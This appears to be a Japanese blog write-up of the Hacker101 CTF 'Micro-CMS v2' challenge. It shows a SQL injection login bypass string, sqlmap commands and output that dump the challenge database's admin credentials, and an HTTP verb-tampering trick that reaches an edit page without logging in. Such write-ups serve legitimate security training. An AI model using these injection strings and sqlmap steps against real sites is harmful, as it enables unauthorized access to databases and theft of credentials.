はまやんはまやんはまやん

hamayanhamayan's blog

Micro-CMS v2 [Hacker101 CTF]

「Micro-CMS v1」と同様にMarkdownの投稿サイト。
Changelogを確認すると、

  • セキュリティ脆弱性が修正されている
  • ユーザー認証が追加、ユーザーがページの追加編集を行うには管理者である必要がある

とのこと。ログイン認証の突破が肝になりそうだ。
とりあえず色々調査しながらdirbを回しておく。

+ http://34.74.105.127/f754dab811/home (CODE:200|SIZE:251)
+ http://34.74.105.127/f754dab811/login (CODE:200|SIZE:361)
+ http://34.74.105.127/f754dab811/logout (CODE:302|SIZE:209)

Flag 1,3 "Blind SQL Injection"

f:id:hamayanhamayan:20200517175508p:plain

とりあえず、不正文字っぽい'を入れて応答を見てみる。

Traceback (most recent call last):
  File "./main.py", line 145, in do_login
    if cur.execute('SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%')) == 0:
  File "/usr/local/lib/python2.7/site-packages/MySQLdb/cursors.py", line 255, in execute
    self.errorhandler(self, exc, value)
  File "/usr/local/lib/python2.7/site-packages/MySQLdb/connections.py", line 50, in defaulterrorhandler
    raise errorvalue
ProgrammingError: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1")

いい感じのエラーが出てきた。
クエリ内容も見えており、MariaDBが使われているようなので、MariaDBに対応したSQLiコードを入れる。
とりあえず、この部分を回避するには' or '' = 'でいいので、これを入れてPasswordを適当に入れてみる。
Invalid passwordと出てくるので、password側にも同様に'を入れてみるが、こちらはエラーが出てこない。
Username側はあるかないかを検知できるので、Blind SQL Injectionで情報の抜き出しが出来そうだ。
sqlmapに通してみる。

sqlmap --url "http://34.74.105.127/f754dab811/login" --data "username=a&password=b" --dbs

[*] information_schema
[*] level2
[*] mysql
[*] performance_schema

sqlmap --url "http://34.74.105.127/f754dab811/login" --data "username=a&password=b" -D level2 --tables

+--------+
| admins |
| pages  |
+--------+

sqlmap --url "http://34.74.105.127/f754dab811/login" --data "username=a&password=b" -D level2 -T admins --columns

+----------+--------------+
| Column   | Type         |
+----------+--------------+
| id       | int(11)      |
| password | varchar(256) |
| username | varchar(256) |
+----------+--------------+

sqlmap --url "http://34.74.105.127/f754dab811/login" --data "username=a&password=b" -D level2 -T admins -C id,password,username --dump

+----+-----------+----------+
| id | password  | username |
+----+-----------+----------+
| 1  | elizebeth | robena   |
+----+-----------+----------+

sqlmap --url "http://34.74.105.127/f754dab811/login" --data "username=a&password=b" -D level2 -T pages --columns

+--------+--------------+
| Column | Type         |
+--------+--------------+
| body   | mediumtext   |
| id     | int(11)      |
| public | tinyint(1)   |
| title  | varchar(256) |
+--------+--------------+

sqlmap --url "http://34.74.105.127/f754dab811/login" --data "username=a&password=b" -D level2 -T pages -C body,id,public,title --dump

+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----+--------+---------------------+
| body
                                                                                                                       | id | public | title               |
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----+--------+---------------------+
| ## Version 2\\nThis version fixed the multitude of security flaws and general functionality bugs that plagued v1.  Additionally, we added user authentication; we're still not sure why we didn't think 
about that the first time, but hindsight is 20/20.  By default, users need to be an admin to add or edit pages now.\\n | 1  | 1      | Micro-CMS Changelog |
| Just testing some markdown functionality.\\n\\n![adorable kitten](https://static1.squarespace.com/static/54e8ba93e4b07c3f655b452e/t/56c2a04520c64707756f4267/1493764650017/)\\n\\n<button>Some button</button>                                                                                                                 | 2  | 1      | Markdown Test       |
| My secret is ^FLAG^$FLAG$
                                                                                                                       | 3  | 0      | Private Page        |
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----+--------+---------------------+

このフラグはFlag1だった。
ここに書いてある認証情報でログインをすると、フラグが出てきてFlag3だった。

Flag 2

さて、全然わからなかったが、HTTP Verb Tamperingというものらしい。

f:id:hamayanhamayan:20200517175523p:plain

このページからEdit this Pageを押したものを、BurpでInterceptする。

f:id:hamayanhamayan:20200517175549p:plain

GETをPOSTに変更して、流すとフラグが出てくるという感じ。

まあ、だから何だという話だが、以下のようなシナリオだろう。

  • GETリクエスト時の動作はログイン画面へのリダイレクトなので、それになっていると思い込んでいる
  • POSTリクエスト時は編集時に使うエンドポイントとして実装されており、Invalidな入力だった場合はログイン状態でGETリクエストをしたときの返答を返すようになっている(としたら危ない)